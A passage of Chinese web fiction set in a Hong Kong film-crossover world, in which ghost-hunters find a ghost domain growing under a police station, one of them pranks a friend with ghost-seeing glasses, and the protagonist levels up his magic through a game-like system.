金麦基忍不住凑到周星星身边,压低声音,带着强烈的好奇和一丝怀疑问道:
“喂,辣椒,你不是在开玩笑吧?你们……你们两个真的会捉鬼?这世界上……真的有鬼吗?”
孟超也在一旁小鸡啄米似的点头,脸上写满了问号。
周星星看着金麦基和孟超那又好奇又害怕、将信将疑的样子,眼珠滴溜溜一转,脸上突然露出了一个极其熟悉、带着几分不怀好意和恶作剧意味的坏笑。
他不由得想起了当初古德第一次带他“见世面”时,那种震撼又新奇的感觉。
一个捉弄一下老友、顺便给他们“开开眼”的念头,如同魔鬼的诱惑般,无法抑制地从他心底冒了出来。
他仿佛已经看到了金麦基和孟超被吓得屁滚尿流、抱作一团的滑稽场面了。
“嘿嘿……”周星星发出了一声意味深长的低笑,拍了拍金麦基的肩膀,“有没有鬼?会不会捉?”
他故意拖长了音调,神秘兮兮地说道:“跟我去看看,不就知道了?保证让你们……终身难忘!”
夜色中,一行四人离开了纸扎铺,向着金麦基他们的警署进发。
第187章 即将爆发的差馆
夜色深沉,香江街道褪去了白日的喧嚣,只剩下零星的车灯和昏黄的路灯勾勒出建筑物的轮廓。
周星星、谢潮、金麦基和孟超四人,站在了距离警署约莫百米开外的一处僻静街角。
从这里望去,警署那栋颇具年代感的西式建筑在夜色中显得格外肃穆安静,只有门口值班室的灯光还亮着,如同黑暗中一只疲惫的眼睛。
然而,在谢潮的眼中,这座警署却呈现出截然不同、令人心悸的景象。
就在快要接近警署时,谢潮突然毫无征兆地停住了脚步,眉头微微蹙起,目光锐利地投向不远处的警署大楼。
“嗯?潮哥,怎么了?”
跟在后面的周星星差点撞上他,疑惑地停下脚步,顺着谢潮的目光望去,除了觉得那警署在晚上看起来有点阴森外,并没发现什么特别之处。
他习惯性地摸了摸口袋里的那副特制见鬼眼镜,这玩意儿用起来省事,不用消耗法力。
谢潮没有立刻回答,他只是缓缓地抬起右手,用食指轻轻点了点自己的眼睛,示意周星星自己看。
自从跟随古德修行,体内炼出法力之后,谢潮发现自己天生具备的阴阳眼能力仿佛被彻底激活和强化了。
此刻,在他那双阴阳眼中,前方那座本应散发着官方威严气息的警署,却被一股浓稠如墨、翻滚不休的庞大黑气牢牢笼罩着!
这股黑气并非静止,而是如同活物般在不断蠕动、冲击!
黑气之中,隐约可见无数扭曲、痛苦、充满怨毒的面孔在挣扎嘶嚎,却又被一股无形的力量束缚在内。
而警署建筑本身自带的、那层象征着公门正气、国运威严的淡黄色光晕,在这股滔天黑气的持续侵蚀和冲击下,已经变得黯淡无光,摇摇欲坠,仿佛**中的一盏孤灯,随时可能熄灭。
“嘶……”
谢潮倒吸一口凉气,,脸色瞬间变得凝重无比。
这绝非寻常的阴气**,这分明是鬼域即将成型的征兆!
而且看这黑气的规模和凝实程度,下面**的鬼物数量绝对超乎想象!
这警署,已经快压不住了!
周星星见谢潮脸色不对,也收起了玩笑的心思。
他习惯性地掏出了那副特制的见鬼眼镜,毕竟能省一点法力是一点,这是他的一贯作风。
不过很快他就发现,眼镜能看到的有限,只能模糊地察觉到警署周围的气场不对劲。
"还是得自己来。"
周星星嘀咕着,虽然有点心疼法力,但还是凝神静气,双手在胸前快速结了一个简单的“开眼印”,低喝一声:“法眼,开!”
一丝法力流转向双眼,周星星眼中的世界也骤然一变!
虽然不如谢潮的阴阳眼看得那么清晰透彻,但那股冲天而起、几乎将整个警署吞噬的可怕黑气,他还是能清晰地感受到其磅礴的量和其中蕴含的恐怖怨念!
“我靠!”
周星星忍不住爆了句粗口,下意识地后退了半步,脸上露出惊容,他转头对一旁还懵然不知的金麦基说道:
“咖喱!你们这差馆要**了,快要被下面的东西给顶穿了啊!这**是个**桶啊!”
谢潮面色沉凝如水,目光死死地盯着那团翻滚的黑气,仿佛要看清其核心。
他沉默了片刻,才缓缓收回目光,转向周星星,语气低沉而严肃地说道:
“情况比想象的更严重。这下面……恐怕已经形成了一个鬼域。警署的**快要到极限了。照这个速度,最多两三天,里面的东西就可能冲出来。到那时……”
他没有再说下去,但意思不言而喻。
必然是百鬼夜行,祸乱香江的场面!
两人交换了一个眼神,都看到了对方眼中的担忧。
谢潮当机立断,对周星星吩咐道:
“阿星,我们不用进去了。里面现在就是个马蜂窝,贸然进去只会打草惊蛇。”
他顿了顿,继续清晰地下达指令:
“你立刻联系总部,以异灵灵异部最高权限,申请明天一早就对这警署周围进行全面封锁隔离,所有非必要人员一律疏散!理由……就说是发现高危化学物品泄漏隐患,需要紧急处理。”
接着,他看向周星星,语气带着一丝无奈和郑重:
“这件事,靠我们两个恐怕处理不了。必须立刻通知阿德。需要他来布下大型法阵,才能将这片区域彻底封锁,然后想办法逐步清理里面的东西。否则一旦失控,后果不堪设想。”
周星星也收起了平日里的嬉皮笑脸,重重地点了点头
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,脸色同样严肃:
“明白!我马上安排!他奶奶的,这香江最近是怎么了?牛鬼蛇神都赶着趟出来开会啊?”
他忍不住抱怨了一句,想起了不久前的海岛秦尸事件,这才消停几天,又冒出个警署鬼域!
真是按下葫芦浮起瓢。
谢潮闻言,无奈地摇了摇头,嘴角泛起一丝苦涩的笑意。
他也记得,就在三个月前,香江的灵异事件还只是零星出现,最多是些游魂野鬼吓唬人,或者某个教师变成恶鬼怨灵拐骗学生。
但不知道什么时候起,某些更深层次的平衡被打破之后,这些隐藏在阴影中的东西,似乎都开始蠢蠢欲动了。
不知道是巧合,还是某种必然。
站在一旁的金麦基和孟超,全程听得是云里雾里,一脸茫然。
什么“鬼域”、“**”、“法阵”、“清理”……这些词单个他们大概能听懂,但组合在一起从谢潮和周星星嘴里说出来,就仿佛加了密一样,完全超出了他们的理解范围。
两**眼瞪小眼,脑子里塞满了问号。
金麦基实在忍不住了,他凑到周星星身边,用手肘捅了捅他,压低声音,带着强烈的好奇和不解问道:
“喂,辣椒!你同潮哥两个打乜嘢哑谜(打什么哑谜)啊?又是封锁又是叫人的,到底什么情况?我们差馆真有那么大镬(严重)?不就是……有点邪门吗?”
周星星看着好友那傻乎乎、完全不在状态的样子,又看了看不远处警署上空那寻常人看不见的恐怖景象,眼珠滴溜溜一转,一个恶作剧的念头又冒了出来。
他脸上露出一丝坏笑,心想:
‘光说没用,得让这这个傻小子亲眼见识一下,才知道怕!’
周星星故意卖关子,没有直接回答金麦基的问题,而是慢悠悠地从口袋里掏出那副造型古怪的“见鬼眼镜”,在手里掂了掂。
他注意到不远处有个出了车祸的女鬼正被警署的阴气吸引,晃晃悠悠地飘过来。
那女鬼半边脑袋都塌了,模样相当骇人。
然后,他装作随意地指了指街道斜对面一个光线昏暗的角落,对金麦基和孟超说道:
“诶,咖喱,蘑菇头,你们看那边……是不是有个美女啊?身材好像不错哦!”
第188章 周星星的恶作剧
孟超傻乎乎地顺着周星星指的方向眯着眼使劲看,看了半天,挠了挠他的蘑菇头,困惑地说:
“没有啊周sir?那边黑乎乎的,啥也没有啊?你是不是眼花了?”
金麦基也将信将疑地望过去,同样什么都没看到。
周星星嘿嘿一笑,把手里的见鬼眼镜递到金麦基面前,用一种充满诱惑的语气说道:
“呐,咖喱,别说兄弟不照顾你。戴上这个高科技产品,保证让你看到不一样的世界!来来来,试试看!”
金麦基看着周星星那不怀好意的笑容,心里有点打鼓,但强烈的好奇心还是战胜了警惕。
他犹豫了一下,接过那副看起来平平无奇的眼镜,嘟囔着:
“神神叨叨的……什么高科技啊,看起来还没我老花镜时髦……”
一边说,一边慢慢地将眼镜戴了上去。
就在眼镜架上的瞬间——
金麦基的视野先是模糊了一下,随即恢复正常。
他下意识地再次看向周星星刚才指的那个昏暗角落……
“啊啊啊啊啊!!!鬼呀!!!”
一声凄厉到变调的、堪比杀猪般的惨叫,猛地从金麦基喉咙里爆发出来!
他整个人像被踩了尾巴的猫一样,猛地向后一跳!
脸色瞬间变得惨白如纸,嘴唇哆嗦着,瞳孔因为极度的恐惧而缩小!
手指颤抖地指着那个方向,身体不受控制地筛糠般抖动起来!
透过那副神奇的眼镜,他看到了!
在那昏暗的角落里,根本不是什么美女!
而是一个……一个穿着破烂白色连衣裙、身形扭曲、半边脑袋都瘪了下去、露出红白模糊物质的“女人”!
它悬浮在离地一尺的空中,脸上带着一种诡异的、似笑非笑的表情,空洞的眼神正直勾勾地望着他们这个方向!
孟超被金麦基这突如其来的惨叫吓得一哆嗦,惊恐地左右张望:
“哪呢哪呢?金麦基你看到什么了?!”
可他什么也看不见。
而那个漂浮的女怨鬼,似乎被金麦基这声惨叫和直视的目光所吸引。
它那空洞的眼窝“看向”金麦基,腐烂的嘴角猛地咧开一个惊人的弧度,露出黑黄色的牙齿,发出一种如同指甲刮擦玻璃般刺耳难听的声音:
“你……看……到……我……了……”
“你……看……到……我……了……对……不……对……”
它一边重复着这令人毛骨悚然的话语,一边拖着扭曲的身体,以一种不似人形的、飘忽诡异的姿态,朝着金麦基快速逼近!
带起一股阴冷的腥风!
“妈呀!它过来了!辣椒!潮哥!救命啊!”
金麦基吓得魂飞魄散,怪叫一声,连滚带爬地躲到了周星星的身后,双手死死地抓着周星星的衣服,把脸埋在他背上,恨不得找个地缝钻进去!
“哈哈哈!”
周星星看到金麦基这狼狈不堪、吓破胆的样子,终于忍不住,捂着肚子,爆发出一阵毫无同情心的大笑,眼泪都快笑出来了。
“怎么样?咖喱?美女靓不靓啊?哈哈哈!”
笑归笑,周星星手上动作却不慢。
他看着那不知死活冲过来的女怨鬼,嘴角一撇,随手从口袋里摸出一张辟邪符。
为什么用辟邪符?
因为用斩鬼符的话,这女鬼怕是直接被打散。
周星星体内的法力瞬间灌注到符纸之中,符纸表面顿时亮起一层柔和的金光!
“滚远点!丑八怪!”
周星星轻喝一声,看准时机,手腕一抖,“啪”地一声,将激活的辟邪符精准地拍在了女怨鬼的额头上!
“嗤——!”
如同烧红的烙铁烫进冰块,女怨鬼被符纸拍中的地方瞬间冒起一股浓郁的黑烟!
它发出一声尖锐痛苦的哀嚎,身形剧震,“嘭”地一下被符力狠狠地震飞出去,摔在地上,魂体都变得淡薄了几分,暂时失去了行动能力。
周星星趁热打铁,又迅速掏出一个小小的收鬼瓶,拔开塞子,对准地上挣扎的女鬼,激活底部收鬼符。
瓶口产生一股微弱的吸力,将那女怨鬼化作一缕青烟,“嗖”地一下吸入了瓶中。
周星星利落地塞好瓶塞,贴上镇魂符,然后晃了晃小瓶子,满意地揣回兜里。
“搞定!”
周星星拍了拍手,得意洋洋地看向惊魂未定、依旧死死抓着他衣服的金麦基,戏谑地问道:
“怎么样啊,咖喱?现在相信这世上有那种东西了吧?还觉得我们是在讲故事吗?”
金麦基哆哆嗦嗦地从周星星背后探出半个脑袋,小心翼翼地看了看刚才女鬼消失的地方,确认真的没了,这才长长地、心有余悸地舒了一口气,腿一软,差点坐在地上。
他颤颤巍巍地把见鬼眼镜摘下来,像是扔烫手山芋一样塞回周星星手里,声音还在发抖:
“信了信了!辣椒!我以后再也不嘴硬了!这**……太刺激了!”
他咽了口唾沫,脸上血色还没恢复,带着颤抖的声音问道:
“你……你们刚才的意思是说……我们……我们警局里面,现在……全都是……这种……东西?”
周星星接
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过眼镜,妥善收好,嘿嘿一笑,拍了拍金麦基的肩膀,语气带着几分幸灾乐祸,又带着几分告诫:
“现在嘛,估计还被压在里面。不过按照阿潮的说法,再过几天……那就不好说咯!说不定你们警局食堂打饭的阿姨,晚上守夜的师兄,都是它们扮的咯!”
金麦基一听,脸都绿了!
他猛地抓住周星星的胳膊,急声道:
“不行不行!这班我是一天也上不下去了!我得请假!我心脏不太好,需要住院观察几天!对!住院!”
他扭头对还处于懵逼状态的孟超喊道:“孟超!你陪我一起去!你也受了惊吓,需要心理辅导!”
孟超虽然没亲眼见到鬼,但被金麦基这反应和气氛也吓得不轻,忙不迭地点头:
“啊?哦哦!好,好!我陪你去!”
周星星看着好友这怂包样子,无奈地摇了摇头,但也知道这种事对普通人冲击太大,能理解。
他不再开玩笑,转头看向一直凝眉沉思的谢潮,问道:
“阿潮,那我们现在怎么办?直接去找阿德?”
谢潮像是看勇士一样看着周星星,语气带着一丝调侃和提醒:
“现在?你看看现在几点了?凌晨一点多了。你这个时间跑去把阿德从被窝里拽起来,跟他说这里有个快要爆发的鬼域……”
他顿了顿,想象了一下古德可能出现的低气压和“和善”的笑容,嘴角微抽:
“你猜猜,以阿德那起床气和记仇的小性子,他会不会觉得你是故意找茬,然后给你记上一笔,等下次有什么‘好事’的时候,优先考虑你?”
周星星闻言,下意识地缩了缩脖子,脑海里立刻浮现出古德那似笑非笑、眼神危险的表情,顿时打了个寒颤。
他可是深知古德腹黑的一面,打扰他睡觉,尤其是为了一件并非即刻爆发、可以等到天亮的事情,那绝对是自寻死路!
他可不想以后出任务时,莫名其妙就被古德“小小地”关照一下。
“咳咳……”
周星星干咳两声,讪讪地笑了笑,“那个……阿潮你说得对!是我不懂事了!救人如救火,但打扰阿德睡觉如同火上浇油!还是等天亮了再说,天亮了再说。”
谢潮点了点头,安排道:
“嗯。阿星,你先送你朋友回去休息吧。他们也受了惊吓,需要缓一缓。我也回去了,养足精神,明天还有硬仗要打。”
他看了一眼依旧被浓重黑气笼罩的警署,眼神凝重。
虽然情况紧急,但还不差这半夜。
必须等古德一起,从长计议。
第189章 大丰收和大突破(上)
农历七月十四,清晨。
天色刚蒙蒙亮,香江半山的小洋楼还笼罩在一层薄薄的晨雾中。
古德驾驶着那辆经过升级的出租车,悄无声息地滑入车库。
他从暹罗国归来,在充满倦意的脸上却带着一丝难以掩饰的满足。
这一次短暂的跨国“出差”,虽然过程有些突兀,但收获着实不小。
最关键的是,公里点数再次迎来了一波暴涨!
得益于“出国业务”的三倍奖励加成,再加上还搭了一趟女鬼,这一趟下来,足足赚取了超过两千点的公里数!
加上之前账户里的余额,他此刻拥有的公里点数,达到了一个相当可观的数字3222点!
“3222……”
古德看着系统界面上的数字,满意地咂了咂嘴。
这个数额,足够他在系统面板进行两次法力的强化了。
他目前主修的《黄庭内景玉经》提升了法力值的消耗,加上随着境界提高,也已经涨到了每次1500点。
权衡之下,古德暂时没有兑换新**或技能的打算,他决定集中资源,优先提升核心的法力修为。
毕竟,在这个灵异复苏、危机暗藏的世界,法力才是一切的基础,是应对各种妖邪鬼祟的硬实力,有了充足的点数后,肯定优先点法力。
无法加点法力后,才会考虑到其他技能提升战力。
回到安静的小洋楼,古德脱下外套,随意扔在沙发扶手上,径直走进浴室,冲了一个酣畅淋漓的热水澡,洗去一身疲惫和异国的风尘。
温热的水流冲刷着身体,也让他因长途驾驶和短暂时空穿梭而有些紧绷的神经逐渐松弛下来。
换上舒适的纯棉睡衣,古德盘膝坐在客厅中央的软垫上,屏息凝神。
他没有丝毫犹豫,心念沉入系统界面,果断地将3000点公里点数,全部投入了“法力”属性的提升!
“系统!加点法力!提升两次!”
意念落下的瞬间,一股远比以往更加磅礴、更加精纯的能量,如同决堤的洪流,又似温暖的泉涌,凭空注入他的四肢百骸、经脉穴窍!
这一次的能量灌输,强度远超从前!
古德只觉得浑身一震,体内原本如溪流般缓缓运转的法力,瞬间沸腾、膨胀!
经脉在温和却坚定地被拓宽,丹田气海仿佛化作了一个小小的漩涡,贪婪地吞噬、炼化着这涌入的浩瀚能量!
他周身三万六千个毛孔仿佛都在呼吸,一丝丝微不可查的浊气被排出,取而代之的是一种清灵、通透、充满力量的感觉。
他的法力数值,从原来的9点,连续跃升,最终稳稳地停在了11点!
千万别小看这看似只增加了2点的数值!
越是修炼到后期,每一点法力的提升,所带来的实力增
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长都是呈几何倍数递增的!
这并非简单的1+1=2,而是量变引起质变的关键飞跃!
如果说之前古德所处的境界,可以称之为“立身境”,那么此刻,随着法力突破10点大关,踏入11点,他已然稳稳地迈入了“通幽境”的门槛!
通幽,意味着能够更深入地感知、沟通乃至调动天地间的能量(虽然目前没有灵气,只能调动星宿之力),还能洞察幽冥,法术也威力大增,已然算得上是一方人物,足以被尊称一声“法师”了!
最直观的感受体现在他修炼的《黄庭内景玉经》上。
之前观想存思体内“身神”时,那些形象还比较模糊、虚幻。
而现在,他心念微动,便能“看”到体内五脏六腑对应的心神、肺神、肝神、肾神、脾神等身神虚影,变得凝实、清晰了许多,仿佛真的有了灵性,坐镇一方,吞吐灵机,与天地共鸣!
整个人的精气神前所未有地凝聚统一,对自身法力的掌控也达到了一个如臂使指、精细入微的新层次!
他甚至有自信,现在如果再让他施展最基础的“**”,威力绝对比之前强上数倍不止!
凝聚速度更快,雷电更加凝练霸道!
若是再面对像海岛秦尸那个级别的对手,虽然不敢说能轻松碾压,但至少正面抗衡的底气足了很多,无需再完全依赖阵法取巧。
第190章 大丰收和大突破(下)
“呼……”
良久,古德缓缓吐出一口绵长的浊气,这口浊气竟在空中凝而不散,如一道白色气箭般射出尺许远,才缓缓消散。
他睁开了双眼,眼眸开阖之间,隐约有精光一闪而逝,眼神变得更加深邃、明亮,仿佛能洞察人心。
他嘴角不自觉地上扬,露出一抹由衷的、带着强大自信的微笑。
感受着体内奔腾不息、比以往雄厚了接近一倍的精纯法力,一种踏实的安全感和强大的力量感油然而生。
“不错,真是不错……”
他低声自语,用力握了握拳头,骨节发出清脆的爆鸣声。
“看来,这出国业务确实是条‘快车道’啊!三倍收益,太划算了!”
他心中盘算着,以后是不是该多‘鼓励’系统搞点随机传送,回报是真的丰厚啊!
法力境界的提升,带来的好处远不止于此。
古德心念一动,再次唤出了只有他自己能看见的系统属性面板,仔细查看起来:
【姓名】:古德
【体质】:9/10(体魄强健,恢复力强)
【魅力】:9/10(↑1)(气质独特,易引人注目与信任)
【精神】:10/10(↑1)(神识稳固,感知敏锐,已达当前瓶颈)
【法力】:11/∞(↑2)(通幽境,法力雄浑,掌控入微)
【可用公里点数】:222
【当前阴德】:20460/30000
【掌握技能】:《黄庭内景玉经》、**、金光咒……(略)
【系统商城】:……(略)
“哦?”
古德的目光在【魅力】和【精神】两项上停留了片刻,脸上露出一丝意外的神色。
【精神】从9点提升到了10点的满值,这倒是在情理之中。
法力与精神本就息息相关,法力的大幅提升,自然带动了神识的壮大和凝练,使得他的感知、思维速度、记忆力等都得到了强化。
但10点似乎是一个坎,后面出现了“已达当前瓶颈”的提示,看来想要突破这个极限,可能需要特殊的机缘或者更高层次的**了。
这让古德微微皱眉,没有师父指引,全靠自己摸索,确实容易遇到瓶颈,这是他目前修行路上的一个短板。
更让他意外的是,【魅力】竟然也随之提升了一点,达到了9点!
这就有点意思了。古德摸了摸自己光滑的下巴,若有所思。
‘难道说法力高深,还会自然影响自身的气质和吸引力?让人更容易产生好感或信服?这就是所谓的‘高人风范’?’
他走到客厅的落地镜前,仔细端详了一下镜中的自己。
相貌似乎没有太大变化,但仔细看去,整个人的气质确实发生了些许微妙的改变。
眼神更加沉静、自信,眉宇间多了一份难以言喻的从容与淡定,皮肤似乎也隐隐透出一种温润的光泽。
不再是最初那个平平无奇的青年,而是由内而外散发出一种值得信赖、让人安心的气息。
看来,这“魅力”提升,并非指向单纯的容貌,更是一种综合气场和亲和力的体现。
“啧,魅力高了有啥用?难道还能让鬼怪看我顺眼点,自己走过来让我收?
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”
古德自我调侃地笑了笑,暂时没想明白这属性在实战中的具体用处,姑且当做是个添头吧。
他的目光又落在了【可用公里点数】上,只剩下222点了。
这点数,不够提升主要属性,兑换强力技能也差得远。
他想了想,决定先存着,等凑多一点,看看能不能把【炁体源流】这个看起来很有潜力的基础技能点到LV3。
他发现系统提供的技能,每次升级并不仅仅是熟练度的提升,往往还会解锁更深层次的知识和应用技巧,或许LV3的炁体源流,能给他带来关于突破精神瓶颈的一些启示。
就在古德沉浸于实力提升的喜悦和未来规划之中时——
“叮咚——叮咚——”
一阵清脆而略显急促的门铃声,突然从楼下传来,打破了一室的宁静。
古德眉头下意识地微微一挑,抬眼看了看墙上的老式挂钟,时针刚刚指向早上八点。
‘这么早?’他心里嘀咕了一句。
这个时间点,除了谢潮和周星星那两个家伙,大概也没别人会这么不识趣地跑来打扰他清静了。
他懒洋洋地从软垫上站起身,舒展了一下因为久坐而有些僵硬的身体,骨骼发出一阵轻微的噼啪声。
然后趿拉着拖鞋,不紧不慢地走下楼梯,来到玄关。
透过门上的猫眼,他向外瞥去。
果然,门口站着的,正是一脸高冷的酷哥谢潮,以及在他旁边叼着一根烟,吊儿郎当的周星星。
“还真是这两个家伙……”
古德无奈地摇了摇头,伸手拧开了门锁。
第191章 薅点日不落的羊毛
清晨的阳光透过半开的百叶窗,在客厅地板上投下斑驳的光影。
古德刚打开门,还没来得及说话,周星星就像一条泥鳅一样,嘴里叼着一根未点燃的香烟,手里拎着一个印着“美心”标志的白色塑料袋,侧着身子就从门缝里挤了进来,带进一股清晨微凉的空气和淡淡的烟草味。
“早啊阿德!还没吃早餐吧?”
周星星熟门熟路地蹬掉鞋子,穿着袜子就啪嗒啪嗒地走到客厅那张老式的红木茶几旁,毫不客气地把塑料袋往上一放,手脚麻利地开始往外掏东西:
两个热气腾腾的菠萝油、一盒丝袜奶茶、一盒柠檬茶,还有几个酥皮蛋挞。
他一边摆弄一边招呼还站在门口的古德:
“来来来,趁热吃!这家的菠萝油刚出炉,酥皮脆得掉渣!奶茶也是我特意让老板少糖的,知道你怕甜!”
那架势,仿佛他才是这个家的主人。
古德看着周星星这一套行云流水、反客为主的操作,嘴角忍不住抽搐了两下,额头仿佛有无形的黑线垂下。
他无奈地关上门,心里疯狂吐槽:
‘到底这是你家还是我家啊喂!怎么比回你自己屋还自在!’
虽然心里在疯狂腹诽,但古德还是走到茶几旁,拉开椅子坐下。
他确实有点饿了,拿起一个金黄酥脆、散发着浓郁黄油香气的菠萝包,咬了一大口,酥皮窸窸窣窣地往下掉。
咀嚼了几下后,他又拿起那杯温热的丝袜奶茶,吸管**去,满足地喝了一大口,浓郁的茶香和奶香在口中弥漫开,驱散了一丝困意。
“说吧....”
古德咽下口中的食物,抬眼看向坐在对面的谢潮和周星星,语气带着点慵懒。
“什么事这么急?大清早的跑来扰人清梦。”
虽然他因为法力提升,精神上的疲惫已经一扫而空,但生理上还是怀念那种窝在被窝里睡到自然醒的舒适感。
法力恢复终究比不上一场酣畅淋漓的深度睡眠来得解乏。
本来他就准备好好睡上一觉的。
谢潮坐姿比较端正,他先是等古德吃了一会后,才不紧不慢地,用他那种一贯沉稳、条理清晰的语调,将昨天晚上他们去金麦基所在的警署外围查探。
以及如何遇到金麦基和孟超,还有关于警署前身是小日子俱乐部、可能**着大量恶鬼、如今变成鬼蜮,里面的鬼怪要出来的推测,言简意赅地叙述了一遍。
周星星在一旁听得抓耳挠腮,时不时就插嘴补充几句,语气夸张,表情丰富,添油加醋,极力说明事情的严重性和紧迫性。
古德一边吃着早餐,一边安静地听着,偶尔点点头,脸上没什么太大的表情变化。
他心里却在快速转动:
‘金麦基……小日子俱乐部……集体**……鬼域……这剧情要素,听起来怎么那么像那部《猛鬼差馆》?可是金麦基又变成了咖喱,周星星竟然辣椒?
这世界线的角色融合还真是……随心所欲啊。看来很多电影里的人物和事件,在这个港综世界里,都有他们自己独立的发展轨迹和因果,并不会完全按照原剧情走。’
吃完最后一口菠萝包,又喝光了杯底的奶茶,古德用餐巾纸擦了擦嘴和手。
他身体向后靠在椅背上,双手交叉放在桌上,目光平静地看向谢潮,直接了当地开口:
“阿潮,情况我大概了解了。要我去布阵封锁那片区域,没问题。”
他话锋一转,嘴角勾起一抹略带狡黠的笑容,语气带着调侃:
“不过,熟归熟,生意归生意。请我出手,价格可不便宜。该付的费用可一分都不能少。”
顿了顿,古德又补充了一个条件:
“还有,如果里面真的孕育出了鬼王级别的大家伙……那只鬼王,必须归我。其他的小鬼,可以按规矩处理。”
这次,他对这只潜在的鬼王是志在必得!
这可是一大笔阴德!
他现在系统升级需要30000点阴德,目前还差将近一万点。
如果能拿下这只鬼王,说不定就能凑够数目!
古德非常好奇,系统再次升级后,会解锁什么新的功能?会不会开启通往其他世界的通道?
毕竟,在这个灵气趋于枯竭的末法世界,修炼速度实在太慢了。
如果能有机会去到一个灵气更充沛、资源更丰富的世界,那对他的修行将是巨大的助力!
听到古德爽快答应,而且提出的条件也在意料之中,谢潮无所谓地耸了耸肩。
他爽快地点点头:“放心,你古大师的身价,我们还是请得起的。费用和手续我会向上头申请,肯定让你满意。鬼王嘛……”
谢潮他笑了笑,“那种硬骨头,你想要就给你了。我们负责清理杂兵就好。”
事情谈妥,早餐也吃完了。
古德立刻开始“赶客”。
他拿出一张便签纸,唰唰唰地写下了一串所需材料的清单,递给谢潮:
“阿潮,是布阵需要的主要材料,尽量在下午之前备齐。”
清单上罗列着:上等的黄花梨木、雷击枣木、特制的丝绸布料和金线、纯度高的朱砂、年份久的墨斗线、以及真正的金粉等等。
这些东西都价值不菲,而且有些在市面上很难找到。
古德特意强调:“这些东西,品质一定要好,不然阵法效果打折扣,到时候镇不住里面的东西,可别怪我。”
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这次可是薅日不落的羊毛,古德直接多报了一些材料,谢潮申请起来应该不会太心疼,所以尽量往好了要。
谢潮接过清单,仔细看了一眼,不是很难申请的材料,他点了点头:“行,我会尽快去办。”
这时,周星星凑了过来,一脸好奇加八卦地问古德:
“喂,阿德,你今天……不出车啦?这不像你的风格啊?你不是一向起早贪黑的开车的吗?”
在他印象里,古德可是个拼命三郎,风雨无阻都要出车的。
古德打了个大大的哈欠,伸了个懒腰,脸上露出一丝倦容,懒洋洋地回答道:
“今天放假,休息。补觉。你们把东西准备好了,下午再过来找我。”
他确实需要好好休息一下,不能一直把神经紧绷着。
周星星脸上立刻露出了极度夸张的、仿佛见到太阳从西边出来一样的震惊表情,声音提高了八度喊道:
“不是吧?!阿德!你居然要休息?!还要睡懒觉?!天哪!你不活了?!”
古德被周星星这连珠炮似的追问搞得哭笑不得,额头青筋跳了跳。
他懒得再跟这个活宝废话,手腕一翻,如同变戏法般,指尖已经夹住了一张不知道什么时候拿起的静音符。
“收声啦!衰仔!”
古德笑骂一声,以迅雷不及掩耳之势,“啪”地一下,将那张静音符精准地贴在了周星星的额头上!
符纸接触皮肤的瞬间,一道微不可查的淡黄色光芒一闪而逝!
正在喋喋不休的周星星,声音戛然而止!
他猛地瞪大了眼睛,嘴巴还保持着张开的O形,努力地想发出声音,却只能发出“阿巴...啊巴”的声音,一个字也说不出来!
他手舞足蹈地指着自己嘴巴,又指着古德,脸上写满了难以置信。
古德满意地看着自己的“杰作”,拍了拍手,笑眯眯地对周星星说:
“罚你八百秒不能说话!好好反省一下什么叫打扰别人休息是不道德的行为!”
然后,他转向一脸无奈的谢潮,意思很明显:赶紧把这聒噪的家伙带走。
谢潮看着旁边急得跳脚却发不出声的周星星,无奈地摇了摇头,一把拉住周星星的胳膊,对古德说了声“阿德,下午见”,便半拖半拽地把还在徒劳地比划着的周星星拉出了门。
随着房门“咔哒”一声关上,世界终于清静了。
古德长长地舒了一口气,嘴角带着一丝恶作剧得逞的笑意,转身走向二楼的卧室。
他需要真正的休息,为接下来即将到来的硬仗养精蓄锐。
阳光透过窗户,照在空荡荡的茶几和吃剩的早餐包装上,屋内重新恢复了宁静。
第192章 谢潮带着材料上门
下午三四点钟的光景,夏日的阳光已不再毒辣,带着些许慵懒的暖意,透过半开的窗户,在古德小洋楼一楼的客厅地板上投下斜长的、斑驳的光影。
空气中漂浮着细微的尘埃,在光柱中缓缓舞动。
古德早已醒来,神清气爽地坐在客厅的沙发上,悠闲地泡着一壶清茶,茶香袅袅。
他微闭双目,内视己身,感受着体内奔腾流转、比之前更加雄浑顺畅的精纯法力,嘴角带着一丝满意的弧度。
好好睡了一觉,精神上的些许疲惫已一扫而空,此刻的他,状态已然调整到了最佳,静待着众人上门。
“叮咚——叮咚——”
清脆而略显急促的门铃声准时响起,打破了午后的宁静。
古德不慌不忙地放下茶杯,起身走到玄关,拧开了门锁。
门一开,呼啦啦一大群人便鱼贯而入,原本宽敞的客厅瞬间变得有些拥挤热闹起来。
来的正是异灵灵异部门目前几乎所有的核心骨干。
为首的自然是一脸沉稳、穿着合体皮衣的谢潮,跟在他旁边的是永远闲不住、东张西望的周星星。
接着是吊儿郎当的阳光大男孩于子朗和脱离了哮喘的莫作栋。
然后是一脸老实的老实人马季,法证出身、一丝不苟的高彦博,以及平平无奇的郑立。
除了不知道跑哪里溜达的石敢当之外,灵灵异部门的主力人马算是到齐了。
他们几个人或扛或抬或抱,带着大大小小、各式各样的木箱、布袋和包装盒,颇有些吃力地从门外搬进来。
沉重的脚步声、物品落地的闷响、以及轻微的喘息声顿时充满了客厅。
“轻点轻点!这可是上好的雷击木!”
周星星咋咋呼呼地指挥着,自己却差点被一个长条木箱绊倒。
“放这边吧,阿潮。”
莫作栋冷静地指挥着大家把东西分门别类地放在客厅中央空出来的地方。
没多大一会儿功夫,原本整洁的客厅几乎被堆满了。
长短不一的优质木材,主要是黄花梨木和少量的雷击枣木。
成匹的真丝贡缎和各色染料、一罐罐标注着不同年份的朱砂、缠绕整齐的墨斗线、甚至还有一小盒金灿灿的金粉……林林总总,五花八门,看上去不像要做法事,倒像是手工艺作坊要开工。
古德抱着胳膊,斜倚在门框上,饶有兴致地看着谢潮他们像蚂蚁搬家一样把东西运进来,忙得团团转。
他下意识地摸了摸自己的下巴,心里不由得有些感慨万千:
‘啧啧……这队伍,真是越来越壮大了啊。’
他的思绪飘回了不久以前,那时候,这辆红色的出租车里,还只有他和谢潮两个人,处理点小打小闹的灵异事件。
这才过了多久?
眼前就已经是乌泱泱一大帮人了,出个任务恐怕三辆车都未必坐得下。
不过,人多也有人多的好处。
至少像现在这样准备大型阵法材料的体力活,就不用他亲力亲为了。
而且团队成员各有所长,能分担不少压力。
想到这里,古德心里又有点暗爽,看看,什么叫团队,这就是。
等到所有材料都搬运妥当,众人都微微喘着气,或站或坐,目光都集中到了古德身上。
古德这才慢悠悠地走到客厅中央,轻轻拍了拍手,吸引了所有人的注意力。
“都齐了吧?”
他环视一圈,目光扫过地上那堆价值不菲的材料。
